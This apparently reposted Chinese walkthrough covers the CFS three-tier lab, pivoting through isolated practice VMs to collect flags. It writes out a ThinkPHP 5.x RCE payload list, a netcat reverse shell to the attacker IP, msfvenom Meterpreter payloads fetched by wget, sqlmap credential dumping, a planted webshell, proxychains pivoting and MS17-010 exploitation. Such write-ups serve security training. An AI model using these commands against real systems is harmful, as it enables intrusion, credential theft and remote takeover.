CFS三层靶机实战-内网横向渗透

admin 2022年6月30日01:30:52CFS三层靶机实战-内网横向渗透已关闭评论1,927 views字数 11168阅读37分13秒阅读模式

0x00 靶机介绍

通过一层一层的渗透,获取每个靶机的flag进行拿分

0x01 环境搭建

CFS三层靶机实战-内网横向渗透

编辑切换为居中

攻击机Kali的IP是192.168.42.128 ,三台靶机ip如图

vmnet 三个网卡设置的都是仅主机模式

CFS三层靶机实战-内网横向渗透

0x02 target1

  • 信息收集
    1、nmap扫描端口
root@kali:~# nmap -p- 192.168.42.129 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-09 17:56 CST Nmap scan report for 192.168.42.129 Host is up (0.00052s latency). Not shown: 65528 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 888/tcp open accessbuilder 3306/tcp open mysql 8888/tcp open sun-answerbook MAC Address: 00:0C:29:9D:A1:98 (VMware) Nmap done: 1 IP address (1 host up) scanned in 14.87 seconds

发现开放了21(ftp)、22(ssh)、80(http)、111(RPC)、888(http)、3306(Mysql)、8888(http)这些端口服务

2、80端口

访问80端口,发现是 thinkphp v5.0.x框架

CFS三层靶机实战-内网横向渗透

3、查找已知漏洞

CFS三层靶机实战-内网横向渗透

使用searchsploit查找公开的thinkphp漏洞

root@kali:~# cat /usr/share/exploitdb/exploits/php/webapps/46150.txt # Exploit Title: thinkphp 5.X RCE # Date: 2019-1-14 # Exploit Author: vr_system # Vendor Homepage: http://www.thinkphp.cn/ # Software Link: http://www.thinkphp.cn/down.html # Version: 5.x # Tested on: windows 7/10 # CVE : None https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection 1、https://blog.thinkphp.cn/869075 2、https://blog.thinkphp.cn/910675 POC: thinkphp 5.0.22 1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username 2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password 3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 thinkphp 5 5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1 thinkphp 5.0.21 6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 thinkphp 5.1.* 8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1 9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd 10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E 11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E 12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd 14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd 未知版本 16、?s=index/\think\module/action/param1/${@phpinfo()} 17、?s=index/\think\Module/Action/Param/${@phpinfo()} 18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)} 19、index.php?s=/home/article/view_recent/name/1' header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#" 20、index.php?s=/home/shopcart/getPricetotal/tag/1%27 21、index.php?s=/home/shopcart/getpriceNum/id/1%27 22、index.php?s=/home/user/cut/id/1%27 23、index.php?s=/home/service/index/id/1%27 24、index.php?s=/home/pay/chongzhi/orderid/1%27 25、index.php?s=/home/pay/index/orderid/1%27 26、index.php?s=/home/order/complete/id/1%27 27、index.php?s=/home/order/complete/id/1%27 28、index.php?s=/home/order/detail/id/1%27 29、index.php?s=/home/order/cancel/id/1%27 30、index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+ 31、POST /index.php?s=/home/user/checkcode/ HTTP/1.1 Content-Disposition: form-data; name="couponid" 1') union select sleep('''+str(sleep_time)+''')# thinkphp 5.0.23(完整版)debug模式 32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx thinkphp 5.0.23(完整版) 33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al thhinkphp 5.0.10(完整版) 34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system

这里使用其中一条进行测试,可以成功执行,说明该版本是存在这个漏洞

http://192.168.42.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

CFS三层靶机实战-内网横向渗透

既然存在命令执行,下一步开始反弹shell

http://192.168.42.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=nc 192.168.42.128 5555 -e /bin/bash

kali本地开启监听5555端口,成功收到反弹的shell,使用Python获得交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

CFS三层靶机实战-内网横向渗透

查找flag,反弹shell的目录下直接发现一个flag

![](/img/sin/M00/01/0C/wKg0C2KO5EaAYgncAABOyk9g7KQ005.png

查看robots.txt 找到第二个flag

CFS三层靶机实战-内网横向渗透

在根目录下找到第三个flag

CFS三层靶机实战-内网横向渗透

0x03 target2

查看下内核信息,发现是x86的

CFS三层靶机实战-内网横向渗透

使用mefvenom生成一个可执行的shell

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.42.128 lport=6666 -f elf -o 6666.elf

CFS三层靶机实战-内网横向渗透

生成完shell,需要将shell上传的靶机中,kali使用Python开启web服务

python -m SimpleHTTPServer 8090

靶机中使用wget下载6666.elf

[www@localhost public]$ wget http://192.168.42.128:8090/6666.elf wget http://192.168.42.128:8090/6666.elf --2020-03-09 18:34:08-- http://192.168.42.128:8090/6666.elf 正在连接 192.168.42.128:8090... 已连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度:207 [application/octet-stream] 正在保存至: “6666.elf” 100%[======================================>] 207 --.-K/s 用时 0s 2020-03-09 18:34:08 (35.1 MB/s) - 已保存 “6666.elf” [207/207])

将下载的shell添加可执行权限

CFS三层靶机实战-内网横向渗透

开启msfconsole,设置好监听模块

msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.42.128 lhost => 192.168.42.128 msf5 exploit(multi/handler) > set lport 6666 lport => 6666 msf5 exploit(multi/handler) > run

将shell执行

CFS三层靶机实战-内网横向渗透

msf成功收到反弹shell

CFS三层靶机实战-内网横向渗透

查看下网卡信息,发现有5个网卡

meterpreter > ifconfig Interface 1 ============ Name : lo Hardware MAC : 00:00:00:00:00:00 MTU : 65536 Flags : UP,LOOPBACK IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:: IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:: Interface 2 ============ Name : ens33 Hardware MAC : 00:0c:29:9d:a1:98 MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 192.168.42.129 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::1c71:fca1:535a:66ce IPv6 Netmask : ffff:ffff:ffff:ffff:: Interface 3 ============ Name : ens37 Hardware MAC : 00:0c:29:9d:a1:a2 MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 192.168.22.128 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::5ec9:ad5a:61c1:d039 IPv6 Netmask : ffff:ffff:ffff:ffff:: Interface 4 ============ Name : virbr0 Hardware MAC : 52:54:00:5a:99:42 MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 192.168.122.1 IPv4 Netmask : 255.255.255.0 Interface 5 ============ Name : virbr0-nic Hardware MAC : 52:54:00:5a:99:42 MTU : 1500 Flags : BROADCAST,MULTICAST

可用的网卡只用interface2和interface3

获取下当前网段的信息

CFS三层靶机实战-内网横向渗透

将192.168.22.0/24这个网段添加到路由表中,使用 run autoroute -p查看是否添加成功

CFS三层靶机实战-内网横向渗透

下面使用扫描模块,扫描一下192.168.22.0这个网段有哪些存活的主机

设置好扫描参数,进行扫描

CFS三层靶机实战-内网横向渗透

发现两个存活的主机 192.168.22.128、192.168.22.129 ,但是192.168.22.128是这台靶机的地址(已经沦陷),所以下一步搞得就只用192.168.22.129这台

设置sock代理,进行下一步测试

CFS三层靶机实战-内网横向渗透

设置全局代理

vi /etc/proxychains.conf

CFS三层靶机实战-内网横向渗透

现在就可以使用nmap对192.168.22.129这台机器进行扫描

roxychains nmap -Pn -sT 192.168.22.129 (因为socks4不支持ICMP协议,所以我们就不用对它使用ping,所以就使用-Pn 参数,而-sT是使用TCP扫描)

CFS三层靶机实战-内网横向渗透

由上图可知,它开放了 21(ftp)、22(ssh)、80(http)、3306(mysql)、8888(sun-answerbook)这些端口服务!先从 80 的 web 服务开始查看

首先将浏览器设置sock4代理,这里使用SwitchyOmega这个插件

CFS三层靶机实战-内网横向渗透

访问后,发现使用的是bagecms搭建的

CFS三层靶机实战-内网横向渗透

常规思路,查看下robots.txt文件,在robots.txt中发现后台地址

![](/img/sin/M00/01/0C/wKg0C2KO5EiAGTqLAABN7y7zoyE516.png

http://192.168.22.129/index.php?r=admini 访问这个链接,跳转到后台登录页面 http://192.168.22.129/index.php?r=admini/public/login

使用弱口令测试登录,没有成功

在首页源码底部发现SQL注入点提示

CFS三层靶机实战-内网横向渗透

使用sqlmap注入一波

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword

CFS三层靶机实战-内网横向渗透

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword --dbs

CFS三层靶机实战-内网横向渗透

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D bagecms --tables

CFS三层靶机实战-内网横向渗透

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin --columns

CFS三层靶机实战-内网横向渗透

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump

CFS三层靶机实战-内网横向渗透

使用admin(123qwe)登录后台,可以登录

登录后台发现第一个flag

CFS三层靶机实战-内网横向渗透

想办法获得webshell,可以在模板处进行测试,写个一句话

CFS三层靶机实战-内网横向渗透

使用蚁剑进行连接,使用代理启动蚁剑

proxychains ./AntSword

CFS三层靶机实战-内网横向渗透

连接成功后,发现第二个flag

CFS三层靶机实战-内网横向渗透

再使用mefvenom生成一个可执行的反弹shell

msfvenom -p linux/x86/meterpreter/bind_tcp lport=7777 -f elf -o 7777.elf

使用蚁剑将7777.elf上传到靶机中

CFS三层靶机实战-内网横向渗透

添加可执行权限

CFS三层靶机实战-内网横向渗透

开启msfconsole,开启监听(需要在代理模式中打开)

proxychains msfconsole

CFS三层靶机实战-内网横向渗透

shell成功上线

在根目录下又发现一个flag

CFS三层靶机实战-内网横向渗透

在/etc/passwd 文件中发现flag

CFS三层靶机实战-内网横向渗透
在日志文件中发现一个flag

CFS三层靶机实战-内网横向渗透

在定时任务中找到一个flag

![](/img/sin/M00/01/0C/wKg0C2KO5EuARGd_AACoAqRkB_g730.pn

0x04 target3

下面查看下网卡信息,发现三个网卡信息

meterpreter > ifconfig Interface 1 ============ Name : lo Hardware MAC : 00:00:00:00:00:00 MTU : 65536 Flags : UP,LOOPBACK IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:: Interface 2 ============ Name : ens33 Hardware MAC : 00:0c:29:d9:f9:06 MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 192.168.22.129 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::89cf:7ae6:c7d3:ecc0 IPv6 Netmask : ffff:ffff:ffff:ffff:: Interface 3 ============ Name : ens38 Hardware MAC : 00:0c:29:d9:f9:10 MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 192.168.33.128 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::c8b3:f0fd:28b9:3780 IPv6 Netmask : ffff:ffff:ffff:ffff::

interface2 和interface3是有用的信息,但是192.168.22.129是这台靶机的地址,下面开始搞192.168.33.0这个网段

同样的,将192.168.33.0/24添加到路由中

CFS三层靶机实战-内网横向渗透

使用portscan扫描192.168.33.0网段中存活的主机

meterpreter > background [*] Backgrounding session 1... msf5 exploit(multi/handler) > search portscan Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/wordpress_pingback_access normal Yes Wordpress Pingback Locator 1 auxiliary/scanner/natpmp/natpmp_portscan normal Yes NAT-PMP External Port Scanner 2 auxiliary/scanner/portscan/ack normal Yes TCP ACK Firewall Scanner 3 auxiliary/scanner/portscan/ftpbounce normal Yes FTP Bounce Port Scanner 4 auxiliary/scanner/portscan/syn normal Yes TCP SYN Port Scanner 5 auxiliary/scanner/portscan/tcp normal Yes TCP Port Scanner 6 auxiliary/scanner/portscan/xmas normal Yes TCP "XMas" Port Scanner 7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner msf5 exploit(multi/handler) > use 5 msf5 auxiliary(scanner/portscan/tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' THREADS 1 yes The number of concurrent threads (max one per host) TIMEOUT 1000 yes The socket connect timeout in milliseconds msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.33.0/24 rhosts => 192.168.33.0/24 msf5 auxiliary(scanner/portscan/tcp) > set ports 22-30,3389 ports => 22-30,3389 msf5 auxiliary(scanner/portscan/tcp) > set threads 30 threads => 30 msf5 auxiliary(scanner/portscan/tcp) > run

发现192.168.33.129开放了3389端口,初步可以判断这是一台Windows主

CFS三层靶机实战-内网横向渗透

设置socks4代理,添加全局代理

CFS三层靶机实战-内网横向渗透

vi /etc/proxychains.conf

CFS三层靶机实战-内网横向渗透

使用nmap扫描192.168.33.129开放的端口

proxychains nmap -Pn -sT 192.168.33.129

CFS三层靶机实战-内网横向渗透

通过开放的端口几乎可以确定这是Windows机器,下面使用ms17-010这个漏洞测试下

set payload windows/meterpreter/bind_tcp set rhost 192.168.33.129

CFS三层靶机实战-内网横向渗透

成功获得meterpreter

查看下用户,发下是administrator账号

meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >

下面将administrator的密码修改,使用rdp连接过去

CFS三层靶机实战-内网横向渗透

使用代理启动rdesktop

proxychains rdesktop 192.168.33.129

使用administrator、123登录,在桌面发现一个flag

CFS三层靶机实战-内网横向渗透

打开计算机,在搜索处搜索flag,target3 的flag全部被找到

CFS三层靶机实战-内网横向渗透

cfs靶机完成,ending!!!


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月30日01:30:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CFS三层靶机实战-内网横向渗透https://cn-sec.com/archives/1148864.html